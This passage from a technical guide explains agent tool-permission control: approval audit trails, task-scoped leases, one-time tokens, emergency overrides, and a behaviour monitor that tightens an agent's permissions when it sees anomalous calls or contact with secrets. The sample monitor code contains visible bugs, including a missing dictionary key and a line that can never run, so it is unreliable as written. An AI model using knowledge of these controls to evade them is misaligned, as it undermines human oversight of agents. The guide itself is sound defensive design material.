    "escalation_path": ["[email protected]", "[email protected]", "[email protected]"],
    "final_decision": "auto_denied"
  },
  "suggestion": "Please retry this operation during business hours, or contact the duty manager for manual approval"
}

After receiving a timeout rejection, the Agent should communicate this result to the user rather than silently abandoning the task. In a conversational Agent scenario:

"I attempted to deploy the user-api service to the production environment, but the approval request timed out and was auto-denied after waiting 30 minutes. The approval request was sent to alice, bob, and the team leads, but no one responded before the timeout. Would you like me to re-initiate the deployment? Alternatively, you can manually approve it through the approval dashboard during business hours."

This transparency is essential — the user knows what happened, why it failed, and what they can do next, rather than facing a silent Agent and an incomplete task.

Approval Audit Trail

Approval flows are not just a runtime security mechanism — they also form an audit record chain. Every approval decision (whether approved, rejected, or timed out) should generate an immutable audit record. When a security incident occurs, these records are the sole basis for answering "what happened, who approved it, and why."

Core Fields of an Audit Record

A complete approval audit record must contain at least the following information:

FieldExample ValuePurpose
event_idapproval-20260519-a1b2c3d4Unique identifier for correlating approval request and result
timestamp2026-05-19T14:32:17ZPrecise-to-the-second timestamp for event chain reconstruction
agent_idagent-42Identifier of the Agent initiating the operation
agent_roledevops-agentAgent's role, used to determine permission boundaries
user_iduser-aliceHuman user who triggered the Agent task (ultimate responsible party)
session_idsess-8f3a1Agent session identifier for tracing task context
tool_namedeploy_serviceName of the tool requested for invocation
tool_params{"service":"user-api","env":"production"}Complete invocation parameters (sanitized)
risk_leveladminSystem-assessed risk level
approval_levelrequire-approvalThe approval tier triggered
approver_iduser-bobApprover identifier
decisionapproved / denied / timeoutApproval result
decision_time2026-05-19T14:33:42ZTimestamp of approval decision (used to calculate response latency)
reason"Deployment content verified, risk manageable"Approver's notes / rationale (optional but recommended)
escalation_count0How many escalation tiers the request went through (0 = primary approver handled directly)
execution_resultsuccess / failure / n/aResult of tool execution after approval (correlated post-hoc)

Audit Log Storage and Integrity

Approval audit logs differ from ordinary application logs — they require higher integrity and tamper-resistance guarantees:

Practical Uses of Audit Records

Approval audit trails are not "write it and forget it" text — they serve purposes across three time dimensions:

  1. Real-time: The security operations team monitors a real-time dashboard of the approval flow, detecting anomalous patterns — for example, a particular Agent triggering 10 high-risk approval requests in a short period. This could be an attack indicator (Agent being manipulated) or a configuration error (inaccurate risk classification).
  2. Post-Incident Investigation: When a security incident occurs (e.g., production data is accidentally deleted), the audit log is the most reliable data source for reconstructing the event chain. You can trace: who initiated the task → what tool the Agent invoked → who approved the invocation → what context the approver saw → what the execution result was. This end-to-end traceability cannot be obtained from RBAC or ABAC allow/deny logs alone — because those logs only tell you "the permission check passed," not "did a human confirm the risk."
  3. Compliance Audits: Compliance frameworks like SOC 2, ISO 27001, and HIPAA all require audit trails for sensitive operations. Approval audit logs naturally satisfy these requirements — they record the complete chain of who did what, including human approval decisions. During a compliance audit, you don't need to piece together evidence from massive application logs — the approval audit log is itself a complete chain of evidence.

Correlation with ACL Logs

Approval audit trails do not exist in isolation. They need to be correlated with ACL decision logs to form a complete permission decision view:

The two log streams are correlated via event_id. During a post-incident investigation, you can start from a single tool invocation and trace why the ACL didn't deny it outright, and who in the approval flow made what decision — forming a complete decision tree.

6. Landing the Least Privilege Principle

The preceding sections established the three pillars of tool permission control — ACL, Parameter-Level Control, and Approval Flows — but they all answer the same question: "Can this invocation proceed?"

A more fundamental question has been deferred: How many permissions should an Agent start with?

In traditional RBAC deployments, an Agent is assigned a role, the role maps to a set of tools, and the Agent holds that tool permission set from session start to finish. This pattern works well when functional boundaries are clear. But when an Agent's tasks become complex, cross-role, or even unpredictable, fixed role-based permissions expose two structural problems:

  1. Over-Privilege: The Agent holds tool permissions that go unused 80% of the time during a task. A code-agent may only need file_read and search_code in a given session, yet its role grants shell_exec, git_push, and deploy_service — because "these tools might be needed in some task." Every idle permission is a potential attack surface.
  2. Under-Privilege: A data-analyst performing a routine query suddenly discovers it needs to read a config file to understand the data format. Its role doesn't include file_read — because "data analysts don't need to read files." The task is blocked, requiring human intervention to reassign roles.

These two problems are two sides of the same coin: static, role-based permission allocation cannot match dynamic, unpredictable task demands. The Least Privilege principle was born to solve exactly this.

The Three Levels of Least Privilege

"Least Privilege" sounds like a security slogan, but in Agent tool control, it is an actionable, layered strategy:

LevelStrategyQuestion AnsweredImplementation
L1: Startup-LevelZero-StartWhat does the Agent have at launch?New Agent sessions default to an empty tool set; role defaults are not applied
L2: Task-LevelTask-Scoped PermissionsWhat tools does this task need?Tool list specified at task declaration; dynamically granted and revoked during the session
L3: Invocation-LevelJust-in-Time (JIT) AccessDo I still need this permission after this call?Permission auto-revoked after a single invocation; must re-apply for the next use

The three levels are not mutually exclusive — they form a coarse-to-fine permission tightening mechanism. Let's unpack each one.

L1: Starting from Zero (Zero-Start)

In traditional RBAC, an Agent launches carrying a preset role toolbox. Zero-Start overturns this assumption: An Agent starts with zero tool permissions — an empty tool set.

The core rationale for this design comes from security engineering's "principle of least astonishment": if you grant permissions by default, you must think of every scenario where they shouldn't be granted. If you deny by default, you only need to explicitly add permissions when they should be granted.

At the implementation level, Zero-Start means:

# Traditional RBAC Agent initialization
agent = Agent(role="code-agent")
# → Automatically inherits all tool permissions of the code-agent role
# → file_read, file_write, shell_exec, git_commit, deploy_service...

# Zero-Start Agent initialization
agent = Agent(role=None, permissions=[])
# → Tool set is empty
# → Permissions are acquired later via task declaration or runtime requests

The value of Zero-Start isn't "starting from zero" per se — it's about forcing permission decisions to be explicit. In traditional RBAC, you can create a role, bind tools, assign it to an Agent, and forget about it. Three months later, nobody remembers why code-agent has deploy_service permission — it might have been configured for a one-off task and then left there. Zero-Start forces a re-examination at every task start: "What does this Agent actually need this time?"

Zero-Start implementation considerations:

L2: Task-Scoped Permissions

Zero-Start answers "how many permissions at startup?" The next question: What scope should a permission's lifecycle be bound to?

The traditional answer is "bound to a role" — the permission's lifecycle equals the Agent session's lifecycle. Task-Scoped Permissions change the answer to "bound to a task." A single Agent session may contain multiple tasks, each with an independent permission set. When a task completes, that task's entire permission set is revoked.

Task Declaration and Permission Binding

The core mechanism of task-scoped permissions is the Task Declaration — before the Agent begins a task, the system needs to know what that task is, so it can decide which tool permissions to grant. A task declaration can be explicitly specified by a human user, or inferred by the Agent from user intent (with the inference requiring user confirmation).

{
  "task_id": "task-20260519-001",
  "session_id": "sess-8f3a1",
  "agent_id": "agent-42",
  "task_description": "Analyze last week's user registration data and generate a CSV report",
  "task_category": "data-analysis",
  "requested_tools": [
    {"tool": "query_db", "params_scope": {"database": "analytics", "tables": ["user_registrations"]}},
    {"tool": "export_csv", "params_scope": {"max_rows": 50000}}
  ],
  "estimated_duration": "10m",
  "created_by": "user-alice"
}

A task declaration defines not only which tools are needed, but also each tool's legal parameter range (params_scope). This is not a replacement for parameter-level ACL — it is a preceding constraint. Parameter-level ACL defines "what must never be done across all tasks" (global constraint). Params_scope defines "what may only be done within this task" (task boundary).

The two are layered:

Permission Revocation After Task Completion

The critical operation in Task-Scoped Permissions is revocation. After task completion, all tool permissions bound to that task are withdrawn. Revocation must be immediate and irreversible — the Agent must not continue to hold residual permissions from a previous task after that task ends.

An effective pattern for implementing revocation is the Permission Lease:

# Permission Lease lifecycle
1. Task Declaration → System issues a permission lease containing:
   - granted_tools: [{tool_name, params_scope}]
   - lease_duration: estimated task time + buffer (e.g., +5 minutes)
   - renewal_policy: renewable / non-renewable

2. Agent executes task → Every tool invocation carries the lease_token

3. Task completion → Lease is actively revoked

4. Lease expiry (task exceeded estimate) → Lease auto-expires,
   system forcibly revokes permissions, Agent receives PermissionRevoked event

5. Renewal → If estimated time is insufficient, Agent may request renewal
   (requires approval flow)

The Permission Lease design borrows from the resource lease concept in distributed systems — no permanent authorization, only time-bounded temporary authorization. This fundamentally eliminates the "residual permission" problem: even if the system fails to capture a task-completion event (e.g., an Agent crash), the lease auto-expires and permissions are naturally reclaimed.

Cross-Task Permission Isolation

When the same Agent session has multiple tasks running in parallel or sequentially, each task's permission lease is completely isolated. The Agent cannot use Task A's tool permissions to perform Task B's operations — the permission context is tightly bound to the task ID. Every tool invocation requires verification that the permission context matches the current task.

This isolation is not complex to implement:

# Permission context verification during tool invocation
def execute_tool(agent_id, task_id, tool_name, params):
    # 1. Look up the permission lease bound to the current task_id
    lease = permission_store.get_active_lease(agent_id, task_id)
    if not lease or lease.is_expired():
        raise PermissionError("No valid permission lease for current task")

    # 2. Check whether this tool is within the lease's grant scope
    if tool_name not in lease.granted_tools:
        raise PermissionError(f"Task {task_id} not authorized to use {tool_name}")

    # 3. Check whether parameters fall within params_scope
    tool_scope = lease.granted_tools[tool_name].params_scope
    if not within_scope(params, tool_scope):
        raise PermissionError("Parameters exceed task authorization scope")

    # 4. Global ACL check (parameter-level constraints)
    if not acl_check(agent_id, tool_name, params):
        raise PermissionError("Global ACL denied")

    # 5. Execute the tool
    return dispatch(tool_name, params)

This code illustrates a complete invocation-level permission check chain: task lease validity → tool within lease → parameters within task boundary → global ACL passes → execute. Failure at any layer blocks the invocation.

L3: Just-in-Time (JIT) Access

Task-Scoped Permissions shorten the permission lifecycle to the task level — permissions are granted when a task starts and revoked when it ends. But some scenarios demand even finer granularity: a permission used only once, revoked immediately after use.

Just-in-Time (JIT) Access is designed for exactly this. Its core rule is deceptively simple:

After authorizing a single operation, immediately revoke the permission used for it. The next time the Agent needs the same tool, it must re-apply.

This sounds extreme — repeatedly applying for the same tool's permission causes efficiency loss. But JIT's value lies in the security friction it creates: not preventing the Agent from using a tool it needs, but ensuring every use has a clear rationale and audit record.

JIT is best suited for low-frequency, high-risk tools. Here are typical scenarios:

ToolTypical FrequencyRiskValue JIT Provides
deploy_service1–2 times per taskDeploying to wrong environment, wrong versionForces human confirmation of deployment target before every deployment
send_email_bulk1 time per taskSending email to wrong recipient listDisplays recipient list and content preview before every send
modify_iamVery low (1–2 times per week)Privilege escalation, account takeoverEnforces double-check and mandatory approval
drop_tableVery lowIrreversible data deletionIndependent approval per operation, with backup confirmation required
execute_raw_sql0–2 times per taskSQL injection, data leakageIndependent review of every SQL statement

JIT Implementation Pattern: One-Time Tokens (OTT)

The cleanest technical implementation of JIT is the One-Time Token (OTT):

# JIT One-Time Token Lifecycle

# 1. Agent requests JIT permission
request = {
    "agent_id": "agent-42",
    "task_id": "task-001",
    "tool": "deploy_service",
    "params": {"service": "user-api", "environment": "production", "version": "v2.3.1"},
    "reason": "User requested deployment of v2.3.1 to production to fix login timeout bug",
    "jit": true  # Marked as JIT request
}

# 2. System evaluates and (potentially) triggers approval
approval = approval_flow.evaluate(request)
if approval.level == "require-approval":
    # Wait for human approval...

# 3. After approval, issue a one-time token
ott = generate_one_time_token(
    tool="deploy_service",
    params_hash=hash(request.params),  # Only valid for the exact params specified
    expires_in=60,  # Token auto-expires after 60 seconds
    max_uses=1      # Can only be used once
)

# 4. Agent uses the token to execute the tool
result = tool_executor.execute(
    tool="deploy_service",
    params=request.params,
    token=ott.token
)

# 5. After execution, token is immediately marked as consumed
ott_store.revoke(ott.token)  # Even if the Agent holds the token, it cannot be reused

# 6. If the Agent needs to deploy again, it must restart the application flow (back to step 1)

The one-time token design ensures:

JIT and Approval Flow Synergy

JIT and approval flows are natural partners. Under task-level permissions, a require-approval decision means "once approved, you may use this tool multiple times within this task." Under JIT mode, a single approval means "once approved, you may use this tool exactly once with these exact parameters."

The combined usage strategy:

  1. High-frequency + Low-risk tools: Task-level permissions (granted once, freely used within the task)
  2. High-frequency + Medium-risk tools: Task-level permissions + notify-only alerts
  3. Low-frequency + High-risk tools: JIT + require-approval (independent approval per invocation)
  4. Any frequency + Extreme-risk tools: block (neither JIT nor task-level permissions — these tools should never be invoked by an Agent)

JIT's Applicability Boundaries

JIT is not a panacea. The following scenarios are not suitable for JIT:

Permission Inheritance and Override

The three levels of least privilege (Zero-Start → Task-Scoped → JIT) define the strategy for granting permissions. But in real operations, permission decisions aren't as simple as linear stacking. Two practical problems need to be addressed: permission inheritance and permission override.

Permission Inheritance

In complex Agent systems, a task may decompose into multiple sub-tasks. Should a sub-task inherit permissions from its parent task? If so, which ones? If not, where does the sub-task get its permissions?

There are three inheritance strategies:

StrategyBehaviorApplicable ScenariosRisk
No InheritanceSub-task starts with zero permissions and independently applies for all needed toolsSub-task has a different goal from the parent and operates on entirely independent resourcesLow (but inflexible — sub-task requires user or system to re-declare permissions)
Restricted InheritanceSub-task inherits the parent task's tool list, but params_scope is further tightenedSub-task is a decomposition step of the parent, operating within the same resource domainMedium (tightened boundaries must be explicitly defined)
Full InheritanceSub-task receives the parent task's full permissions and parameter scopeDelegation scenario — Agent A delegates a task to Agent B with equivalent permissionsHigh (permissions may be accidentally broadened — not recommended as default)

The recommended default strategy is "No Inheritance" — consistent with Zero-Start. Every sub-task must explicitly declare the permissions it needs. If a sub-task operates within the same resource domain as its parent, the user may choose "inherit parent task permissions but restrict to scope X" when creating the sub-task.

At the implementation level, restricted inheritance can be expressed through params_scope narrowing:

# Parent task permission scope
parent_scope = {
    "query_db": {"database": "analytics", "tables": ["*"]},
    "export_csv": {"max_rows": 100000}
}

# Sub-task inherits with narrowed scope
child_scope = {
    "query_db": {"database": "analytics", "tables": ["user_registrations"]},
    "export_csv": {"max_rows": 5000}
}
# → Sub-task can only access analytics.user_registrations,
#   export_csv max rows tightened from 100k to 5k

Permission Override

Permission override occurs in emergency scenarios — when the normal permission flow is bypassed and the Agent is temporarily granted permissions exceeding its task declaration. For example:

Permission override is a dangerous but necessary capability. Dangerous because it bypasses the carefully designed permission control system; necessary because in an emergency, you can't wait for the approval flow to complete. Therefore, the design focus of permission override is not "should we allow it?" but "how do we make the override itself strictly controlled, fully recorded, and automatically expired?"

Five iron rules of permission override:

  1. Override requires a higher-authority approver: Normal approval flows can be approved by a peer or direct superior. Permission override must be approved by a higher-level role — typically a team lead or security administrator. This is known as the "two-key principle" — the override operation cannot be approved by the same person who triggered it.
  2. Override scope must be precise: You cannot "temporarily give the devops-agent all tool permissions" — the override must specify the exact tool, exact parameter range, and exact duration. Minimize the override's exposure surface.
  3. Override has a time limit: Every override must have a hard expiration time (e.g., 15 minutes, 1 hour). Permissions are automatically revoked upon expiry and cannot auto-renew. Renewal requires re-entering the override approval process.
  4. Override is fully audited: Every step — application, approval, usage, revocation — generates an audit log. All tool invocations during the override period are tagged "override mode" and highlighted in the audit dashboard.
  5. Override requires post-mortem review: Every override event triggers a post-recovery security review task (which can be automated). The review answers three questions: Why was the override needed? Where did the normal process fail? How do we avoid needing an override next time?

Here is an example implementation of a permission override:

{
  "override_id": "override-20260519-e3f4a5b6",
  "requested_by": "user-bob",
  "approved_by": "user-carol",  // Carol is Bob's superior — two-key principle
  "reason": "Production user-api service is down; emergency fix script must be executed immediately",
  "scope": {
    "tool": "shell_exec",
    "params_scope": {
      "cmd": "^(systemctl restart user-api|/opt/scripts/emergency_fix\\.sh)$",
      "cwd": "/opt/scripts/"
    }
  },
  "duration": "15m",  // Auto-expires after 15 minutes
  "created_at": "2026-05-19T14:32:00Z",
  "expires_at": "2026-05-19T14:47:00Z",
  "status": "active",
  "audit_flag": "override"
}

This override configuration precisely constrains what the Agent may do: it may use the shell_exec tool, but only to execute two commands (systemctl restart user-api or /opt/scripts/emergency_fix.sh), with the working directory restricted to /opt/scripts/. After 15 minutes, these permissions vanish automatically. Even in the most urgent situation, permission is not granted as "open everything" — it is granted as "precisely open the minimal necessary door."

Context-Aware Dynamic Permission Adjustment

The three levels of least privilege (Zero-Start, Task-Scoped, JIT) define the strategic framework for permission granting. But real-world tasks are not static — an Agent may encounter unanticipated situations during execution and need its permission set dynamically adjusted.

This is Context-Aware Dynamic Permission Adjustment — permissions are not fixed, but adaptively tighten or relax as the task context evolves.

Dynamic Tightening: Risk-Triggered Permission Downgrade

Permissions should adjust automatically in one direction — only tighten, never widen. Widening always requires human intervention. When the system detects certain risk signals, it should automatically tighten the Agent's permissions:

Risk SignalTrigger ConditionAuto-Tightening Action
High-Frequency InvocationSame tool called more than 20 times in 1 minuteTemporarily reduce that tool's invocation rate limit; excess calls enter the approval queue
Anomalous Parameter Patterns3 consecutive calls with parameter values deviating from historical patterns (e.g., file_write path shifts from /workspace/ to /etc/)Suspend that tool's permission lease; require the Agent to explain the reason and await human review
Error Rate SpikeTool invocation error rate exceeds 30% within 5 minutesReduce tool invocation concurrency; limit the Agent's continued attempts in the error direction
Task Scope DriftAgent's operation targets deviate from the declared resource domain into undeclared domainsDeny out-of-scope calls; log the drift event; notify the user to confirm whether to expand the task scope
Sensitive Data ContactAgent's query results contain PII or secrets (detected via pattern matching)Immediately pause the current operation chain; trigger a security alert; await security administrator review

Dynamic tightening implementation depends on a continuously running Behavior Monitor — it evaluates invocation patterns and context after every Agent tool call, comparing against predefined baselines. When the deviation exceeds a threshold, the Behavior Monitor sends tightening instructions to the Permission Manager.

# Behavior Monitor workflow
class BehaviorMonitor:
    def __init__(self, permission_manager, alert_system):
        self.perm_mgr = permission_manager
        self.alert = alert_system
        self.recent_calls = []  # Sliding window of recent calls

    def on_tool_call(self, agent_id, task_id, tool_name, params, result):
        # 1. Log the call
        self.recent_calls.append({
            "ts": now(), "agent": agent_id, "task": task_id,
            "tool": tool_name, "params": params, "result": result
        })
        # Maintain sliding window (last 5 minutes of calls)
        self.recent_calls = [c for c in self.recent_calls
                             if now() - c["ts"] < 300]

        # 2. Evaluate risk signals
        signals = []

        # Frequency check
        freq = len([c for c in self.recent_calls
                    if c["agent"] == agent_id and c["tool"] == tool_name])
        if freq > 20:
            signals.append(("high_frequency", {"current_rate": freq}))

        # Parameter anomaly check (compare against historical patterns)
        if self._is_param_anomalous(agent_id, tool_name, params):
            signals.append(("anomalous_params", {"tool": tool_name, "params": params}))

        # Scope drift check
        task_scope = self.perm_mgr.get_task_scope(task_id)
        if not self._within_scope(params, task_scope):
            signals.append(("scope_drift", {"params": params, "scope": task_scope}))

        # 3. Execute tightening actions for each signal
        for signal_type, detail in signals:
            self._tighten_permissions(agent_id, task_id, signal_type, detail)

    def _tighten_permissions(self, agent_id, task_id, signal_type, detail):
        if signal_type == "high_frequency":
            # Reduce invocation rate limit
            self.perm_mgr.set_rate_limit(agent_id, task_id,
                                         tool_name=detail["tool"],
                                         max_per_minute=10)
            self.alert.warn(f"Agent {agent_id} tool invocation frequency anomalous, auto rate-limited")

        elif signal_type == "anomalous_params":
            # Suspend tool permission, await human review
            self.perm_mgr.suspend_tool(agent_id, task_id,
                                       tool_name=detail["tool"])
            self.alert.critical(
                f"Agent {agent_id} parameter pattern anomalous, {detail['tool']} suspended"
            )
            # Request human review
            self.alert.request_human_review(agent_id, task_id, detail)

        elif signal_type == "scope_drift":
            # Deny out-of-scope call, notify user
            raise PermissionError(
                f"Operation exceeds task authorization scope. To expand scope, please update the task declaration."
            )
            self.alert.notify_user(task_id, detail)

Dynamic Relaxation: Always Requires Human Confirmation

The process for dynamic relaxation (adding permissions during task execution) is identical to the initial permission application — it must pass system evaluation and potentially the approval flow. The Behavior Monitor may suggest relaxation (e.g., "Agent has been repeatedly denied access to a tool; permission expansion may be needed"), but it cannot automatically execute relaxation.

This unidirectionality — auto-tighten, manual-relax — is a deliberate design choice. It embodies a core security principle: permission expansion must always involve human participation and consent.

Diversity of Context Sources

The effectiveness of dynamic permission adjustment depends on the richness of context. Here are several key context sources:

Measuring Least Privilege: Are You Doing Enough?

The least privilege principle is not a binary yes/no state — it is a continuous optimization process. You can measure the degree of least privilege implementation through the following metrics:

MetricDefinitionIdeal ValueHow to Improve
Permission UtilizationNumber of permissions actually used in a task ÷ total number granted> 80%If utilization is too low (e.g., < 50%), the task declaration is overly broad, over-granting permissions — tighten the default permission set in task templates
JIT CoverageNumber of tools managed via JIT ÷ total number of high-risk tools100% (for all high-risk tools)Audit all tools at admin and dangerous risk levels — if any are still using task-level permissions, consider migrating to JIT
Approval Denial RateNumber of JIT approvals denied ÷ total JIT applications5–15%If denial rate is too high (>30%), the Agent is frequently requesting unreasonable permissions — inspect the Agent's prompt or tool registry quality. If denial rate is too low (<2%), approvals may be overly lenient.
Revocation LatencyTime gap between task completion and actual permission revocation< 5 secondsIf revocation latency is high, inspect the lease manager implementation — ensure task completion events trigger immediate revocation, not periodic cleanup
Override FrequencyNumber of times permission override was triggered ÷ total number of tasks< 1%If override frequency is too high (e.g., >5%), the normal permission configuration cannot cover common scenarios — incorporate frequently overridden tools into the regular permission template

These metrics should be continuously monitored and periodically reviewed. Least privilege is not a one-time configuration — it is an ongoing tightening process. Every time you discover a permission that can be further constrained, tighten it. Every time you discover a task that failed due to insufficient permissions, examine whether the permission request process is too strict — and then make a conscious trade-off between security and efficiency, rather than defaulting to open access.

Section Summary

Landing the least privilege principle is not achieved in a single stroke. It is a progressive coarse-to-fine tightening process, with each step answering the same question: "Is this permission truly necessary?"

Reviewing the three pillars in relation to least privilege:

When you string these three levels together, what you get is a complete permission control closed loop — not "The Agent has this role so it can do these things," but rather —

"The Agent, within this task, to achieve this goal, has been temporarily granted permission to use these tools, with these parameters, within this time window. When the task ends, the permissions vanish. If more permissions are needed, re-apply. If behavior is anomalous, permissions auto-tighten. If the situation is urgent, override permissions are strictly controlled and audited."

This is what "least privilege" really means. It's not a slogan — it's an engineering practice that can be implemented in code, measured, and continuously optimized.

7. Code Example: Building a Permission System

The previous six sections discussed the theory and design of tool ACLs, parameter-level control, approval flows, and the least privilege principle. This section ties those mechanisms together with a complete, runnable Python code example — a minimal viable implementation of an Agent tool permission control system.

The code implements four core components: ToolRegistry (tool metadata registry), PermissionPolicy (RBAC + parameter-level checks), ApprovalGate (risk assessment & approval decisions), and AgentExecutor (orchestrating the full permission check flow). The overall architecture is as follows:

Complete Code

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Agent Tool Permission Control System — Complete Demo
=====================================================
This code demonstrates a minimal viable implementation of Agent tool
permission control, consisting of:
  - ToolRegistry: tool metadata registry
  - PermissionPolicy: RBAC + parameter-level permission policy
  - ApprovalGate: risk assessment and approval decision engine
  - AgentExecutor: orchestrates the full permission check flow

Usage:
  python3 agent_permission_demo.py

Dependencies: Python standard library only — no third-party packages required.
"""

from dataclasses import dataclass, field
from enum import Enum
from typing import Any, Callable, Dict, List, Optional, Set
import json


# ============================================================================
# 1. Basic Type Definitions
# ============================================================================

class RiskLevel(Enum):
    """Tool risk level"""
    LOW = "low"
    MEDIUM = "medium"
    HIGH = "high"
    CRITICAL = "critical"


class ApprovalDecision(Enum):
    """Approval decision result"""
    AUTO_APPROVE = "auto_approve"          # Automatically allow, no approval needed
    NOTIFY = "notify"                       # Allow but send a notification record
    REQUIRE_APPROVAL = "require_approval"   # Requires human approval
    BLOCK = "block"                         # Directly deny


class ExecStatus(Enum):
    """Execution status"""
    SUCCESS = "success"
    BLOCKED_BY_POLICY = "blocked_by_policy"
    AWAITING_APPROVAL = "awaiting_approval"
    BLOCKED_BY_APPROVAL = "blocked_by_approval"
    EXEC_ERROR = "exec_error"


# ============================================================================
# 2. Tool Definitions & Registry (ToolRegistry)
# ============================================================================

@dataclass
class Tool:
    """Metadata definition for a single tool"""
    name: str                          # Tool name (unique identifier)
    description: str                   # Tool description
    risk_level: RiskLevel              # Risk level
    required_permissions: List[str]    # Required permissions, e.g. ["file:delete", "file:write"]
    handler: Callable[..., Any]        # Actual execution function
    param_schema: Dict[str, Any] = field(default_factory=dict)  # Optional param schema for validation


class ToolRegistry:
    """Tool registry: register, look up, and manage all available tools"""

    def __init__(self):
        self._tools: Dict[str, Tool] = {}

    def register(self, tool: Tool) -> None:
        """Register a tool"""
        if tool.name in self._tools:
            raise ValueError(f"Tool '{tool.name}' is already registered")
        self._tools[tool.name] = tool

    def get(self, name: str) -> Optional[Tool]:
        """Look up a tool by name; returns None if not found"""
        return self._tools.get(name)

    def list_by_risk(self, risk: RiskLevel) -> List[Tool]:
        """List all tools at a given risk level"""
        return [t for t in self._tools.values() if t.risk_level == risk]

    def list_all(self) -> List[Tool]:
        """List all registered tools"""
        return list(self._tools.values())


# ============================================================================
# 3. Permission Policy Engine (PermissionPolicy)
# ============================================================================

@dataclass
class ParamRule:
    """A single parameter-level allow/deny rule"""
    allow: bool = True                           # True = allow rule, False = deny rule
    param_constraints: Dict[str, Any] = field(default_factory=dict)
    # Example: {"path": {"prefix": "/workspace/"}} means path must start with /workspace/


@dataclass
class ToolRule:
    """Permission config for a specific tool under a specific role"""
    tool_name: str
    allowed: bool = True                          # Whether this role can use this tool
    param_rules: List[ParamRule] = field(default_factory=list)  # Parameter-level rules


@dataclass
class RolePolicy:
    """Permission policy for a single role"""
    role_name: str
    tool_rules: List[ToolRule] = field(default_factory=list)


class PermissionPolicy:
    """Permission policy engine: RBAC + parameter-level constraints"""

    def __init__(self):
        self._role_policies: Dict[str, RolePolicy] = {}

    def add_role_policy(self, policy: RolePolicy) -> None:
        """Register a role's permission policy"""
        self._role_policies[policy.role_name] = policy

    def check(self, role: str, tool_name: str, params: Dict[str, Any]) -> tuple[bool, str]:
        """Check whether a given role can invoke a given tool with given parameters.

        Returns (allowed, reason).
        - allowed: True means permitted, False means denied
        - reason: explanation for the deny or pass result
        """
        # Step 1: Check if the role exists
        role_policy = self._role_policies.get(role)
        if role_policy is None:
            return False, f"Role '{role}' has no permission policy defined"

        # Step 2: Check if this role has a rule for this tool
        tool_rule = None
        for rule in role_policy.tool_rules:
            if rule.tool_name == tool_name:
                tool_rule = rule
                break

        if tool_rule is None:
            return False, f"Role '{role}' is not authorized to use tool '{tool_name}'"

        if not tool_rule.allowed:
            return False, f"Role '{role}' access to tool '{tool_name}' is denied"

        # Step 3: Check parameter-level rules
        for param_rule in tool_rule.param_rules:
            for param_key, constraint in param_rule.param_constraints.items():
                actual_value = params.get(param_key)
                if actual_value is None:
                    if param_rule.allow:
                        return False, f"Missing required parameter '{param_key}'"
                    continue

                # Support "prefix" constraint (check string prefix)
                if "prefix" in constraint:
                    expected_prefix = constraint["prefix"]
                    if not str(actual_value).startswith(expected_prefix):
                        if param_rule.allow:
                            return False, (
                                f"Parameter '{param_key}' value '{actual_value}' "
                                f"is not in allowed range (must start with '{expected_prefix}')"
                            )
                        else:
                            # Deny rule matched → deny
                            return False, (
                                f"Parameter '{param_key}' value '{actual_value}' "
                                f"matched a deny rule (prefix '{expected_prefix}')"
                            )

                # Support "values" constraint (check whitelist)
                if "values" in constraint:
                    if actual_value not in constraint["values"]:
                        if param_rule.allow:
                            return False, (
                                f"Parameter '{param_key}' value '{actual_value}' "
                                f"is not in the allowed list {constraint['values']}"
                            )

        return True, "Permission check passed"


# ============================================================================
# 4. Approval Gate (ApprovalGate)
# ============================================================================

class ApprovalGate:
    """Risk assessment and approval decision engine"""

    # Risk level → default approval decision map
    RISK_DECISION_MAP = {
        RiskLevel.LOW: ApprovalDecision.AUTO_APPROVE,
        RiskLevel.MEDIUM: ApprovalDecision.NOTIFY,
        RiskLevel.HIGH: ApprovalDecision.REQUIRE_APPROVAL,
        RiskLevel.CRITICAL: ApprovalDecision.BLOCK,
    }

    def __init__(self):
        self._overrides: Dict[str, ApprovalDecision] = {}
        # Extra risk rules: escalate/de-escalate decision when params match a pattern
        self._param_sensitive_patterns: List[tuple[str, str, ApprovalDecision]] = []
        # Format: (param_key, pattern, decision)
        # e.g. ("path", "/etc/", ApprovalDecision.BLOCK) — block any operation under /etc/

    def set_override(self, tool_name: str, decision: ApprovalDecision) -> None:
        """Set an override decision for a specific tool (takes priority over default mapping)"""
        self._overrides[tool_name] = decision

    def add_sensitive_pattern(self, param_key: str, pattern: str, decision: ApprovalDecision) -> None:
        """Add a sensitive parameter pattern: when a param value contains a pattern, trigger a specific decision"""
        self._param_sensitive_patterns.append((param_key, pattern, decision))

    def evaluate(self, tool: Tool, params: Dict[str, Any]) -> tuple[ApprovalDecision, str]:
        """Evaluate tool invocation risk and return an approval decision.

        Returns (decision, reason).
        """
        # Step 1: Check for override decisions
        if tool.name in self._overrides:
            decision = self._overrides[tool.name]
            return decision, f"Tool '{tool.name}' has override decision: {decision.value}"

        # Step 2: Check sensitive parameter patterns (higher priority)
        for param_key, pattern, decision in self._param_sensitive_patterns:
            if param_key in params:
                value = str(params[param_key])
                if pattern in value:
                    return decision, (
                        f"Parameter '{param_key}' contains sensitive pattern '{pattern}' → {decision.value}"
                    )

        # Step 3: Default decision by risk level
        decision = self.RISK_DECISION_MAP.get(tool.risk_level, ApprovalDecision.REQUIRE_APPROVAL)
        return decision, f"Risk level {tool.risk_level.value} → default decision {decision.value}"


# ============================================================================
# 5. Agent Executor (AgentExecutor) — Orchestration Layer
# ============================================================================

@dataclass
class ExecResult:
    """Tool execution result"""
    status: ExecStatus
    tool_name: str
    params: Dict[str, Any]
    output: Optional[Any] = None
    message: str = ""


class AgentExecutor:
    """Agent executor: orchestrates permission check → risk assessment → approval → execution flow"""

    def __init__(
        self,
        registry: ToolRegistry,
        policy: PermissionPolicy,
        gate: ApprovalGate,
        role: str,
    ):
        self.registry = registry
        self.policy = policy
        self.gate = gate
        self.role = role
        self.execution_log: List[ExecResult] = []

    def execute(self, tool_name: str, params: Dict[str, Any]) -> ExecResult:
        """Execute the full tool invocation flow.

        Flow: look up tool → permission policy check → risk assessment →
              approval decision → (optional) human approval → tool execution
        """
        # ---- Step 1: Look up tool ----
        tool = self.registry.get(tool_name)
        if tool is None:
            result = ExecResult(
                status=ExecStatus.EXEC_ERROR,
                tool_name=tool_name,
                params=params,
                message=f"Tool '{tool_name}' not found in registry",
            )
            self.execution_log.append(result)
            return result

        # ---- Step 2: Permission policy check ----
        allowed, reason = self.policy.check(self.role, tool_name, params)
        if not allowed:
            result = ExecResult(
                status=ExecStatus.BLOCKED_BY_POLICY,
                tool_name=tool_name,
                params=params,
                message=f"Permission policy denied: {reason}",
            )
            self.execution_log.append(result)
            return result

        print(f"  [Policy Check] ✓ {reason}")

